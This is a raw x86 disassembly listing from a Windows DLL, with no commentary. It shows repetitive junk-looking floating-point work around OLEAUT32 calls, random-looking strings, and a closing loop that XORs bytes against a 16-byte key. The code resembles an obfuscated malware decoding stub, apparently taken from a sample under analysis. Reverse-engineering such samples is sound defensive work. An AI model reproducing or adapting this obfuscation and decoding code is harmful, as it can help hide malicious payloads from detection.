mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.OLEAUT32.dll_VarR4FromI4]
cvtsi2sd xmm0, eax
movsd xmm1, qword [ebp - 0x410]
divsd xmm1, xmm0
sub esp, 0x18
mov ecx, esp
push 0x1004fbb0
movsd qword [ebp - 0x420], xmm1
call fcn.10004510
push 0
push 0x39344b86
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xfffffff4
mov ecx, esp
push 0x1004fbc0
call fcn.10004510
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
call dword [sym.imp.OLEAUT32.dll_LHashValOfNameSysA]
add esp, 0x68
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [ebp - 0x420]
mulsd xmm1, xmm0
movsd xmm0, qword [0x1004fe20]
subsd xmm0, xmm1
movsd qword [0x10053588], xmm0
push 0x21a7e495
push 0x2d3748cc
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 4
movsd xmm0, qword [0x1004fee8]
movsd qword [esp], xmm0
sub esp, 8
movsd xmm0, qword [0x1004ff10]
movsd qword [esp], xmm0
call dword [sym.imp.OLEAUT32.dll_VarR8FromUI2]
add esp, 0x30
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [0x1004fd08]
divsd xmm1, xmm0
push 0
push 0xa60fa01
sub esp, 0x18
mov ecx, esp
push 0x1004fbe0
movsd qword [ebp - 0x430], xmm1
call fcn.10004510
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.OLEAUT32.dll_VarR4FromI4]
cvtsi2sd xmm0, eax
movsd xmm1, qword [ebp - 0x430]
divsd xmm1, xmm0
sub esp, 0x18
mov ecx, esp
push 0x1004fbfc
movsd qword [ebp - 0x440], xmm1
call fcn.10004510
push 0
push 0x39344b86
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xfffffff4
mov ecx, esp
push 0x1004fc0c
call fcn.10004510
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
call dword [sym.imp.OLEAUT32.dll_LHashValOfNameSysA]
add esp, 0x68
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [ebp - 0x440]
mulsd xmm1, xmm0
movsd xmm0, qword [0x1004fef0]
subsd xmm0, xmm1
movsd qword [0x10053560], xmm0
push 0x21a7e495
push 0x2d3748cc
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 4
movsd xmm0, qword [0x1004fee8]
movsd qword [esp], xmm0
sub esp, 8
movsd xmm0, qword [0x1004ff10]
movsd qword [esp], xmm0
call dword [sym.imp.OLEAUT32.dll_VarR8FromUI2]
add esp, 0x30
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [0x1004fd08]
divsd xmm1, xmm0
push 0
push 0xa60fa01
sub esp, 0x18
mov ecx, esp
push 0x1004fc2c
movsd qword [ebp - 0x450], xmm1
call fcn.10004510
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.OLEAUT32.dll_VarR4FromI4]
cvtsi2sd xmm0, eax
movsd xmm1, qword [ebp - 0x450]
divsd xmm1, xmm0
sub esp, 0x18
mov ecx, esp
push 0x1004fc48
movsd qword [ebp - 0x460], xmm1
call fcn.10004510
push 0
push 0x39344b86
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xfffffff4
mov ecx, esp
push 0x1004fc58
call fcn.10004510
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
call dword [sym.imp.OLEAUT32.dll_LHashValOfNameSysA]
add esp, 0x68
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [ebp - 0x460]
mulsd xmm1, xmm0
movsd xmm0, qword [0x1004ff58]
subsd xmm0, xmm1
movsd qword [0x10053568], xmm0
push 0x21a7e495
push 0x2d3748cc
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 4
movsd xmm0, qword [0x1004fee8]
movsd qword [esp], xmm0
sub esp, 8
movsd xmm0, qword [0x1004ff10]
movsd qword [esp], xmm0
call dword [sym.imp.OLEAUT32.dll_VarR8FromUI2]
add esp, 0x30
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [0x1004fd08]
divsd xmm1, xmm0
push 0
push 0xa60fa01
sub esp, 0x18
mov ecx, esp
push str.kukeoyxutucuu
movsd qword [ebp - 0x470], xmm1
call fcn.10004510
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.OLEAUT32.dll_VarR4FromI4]
cvtsi2sd xmm0, eax
movsd xmm1, qword [ebp - 0x470]
divsd xmm1, xmm0
sub esp, 0x18
mov ecx, esp
push str.uefatg
movsd qword [ebp - 0x480], xmm1
call fcn.10004510
push 0
push 0x39344b86
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xfffffff4
mov ecx, esp
push str.ykavuneujyejoe
call fcn.10004510
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
call dword [sym.imp.OLEAUT32.dll_LHashValOfNameSysA]
add esp, 0x68
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [ebp - 0x480]
mulsd xmm1, xmm0
movsd xmm0, qword [0x1004fe90]
subsd xmm0, xmm1
movsd qword [0x10053560], xmm0
mov esi, dword [ebp + 0x5c]
and esi, 0x8000000f
jns 0x100458c1
dec esi
or esi, 0xfffffff0
inc esi
mov edx, dword [ebp + 0x5c]
push edx
lea ecx, [ebp + 0x44]
call fcn.10006df0
movzx eax, byte [eax]
movsx ecx, byte [ebp + esi + 0x60]
xor ecx, eax
mov edx, dword [ebp + 0x5c]
and edx, 0x8000000f
jns 0x100458e7
dec edx
or edx, 0xfffffff0
inc edx
mov byte [ebp + edx + 0x60], cl
mov eax, dword [ebp + 0x5c]
push eax
lea ecx, [ebp + 0x44]
call fcn.10006df0
movzx ebx, byte [eax]
mov ecx, dword [ebp + 0x5c]
and ecx, 0x8000000f
jns 0x1004590a
dec ecx
or ecx, 0xfffffff0
inc ecx
movsx edx, byte [ebp + ecx + 0x60]
xor ebx, edx
mov eax, dword [ebp + 0x5c]
push eax
mov ecx, dword [ebp + 0x7c]
call fcn.10006c20
mov byte [eax], bl
jmp 0x10045334
lea ecx, [ebp + 0x44]
call fcn.10006c70
pop esi
pop ebx
mov ecx, dword [ebp + 0x70]
xor ecx, ebp
call fcn.1001be94
add ebp, 0x74
mov esp, ebp
pop ebp
ret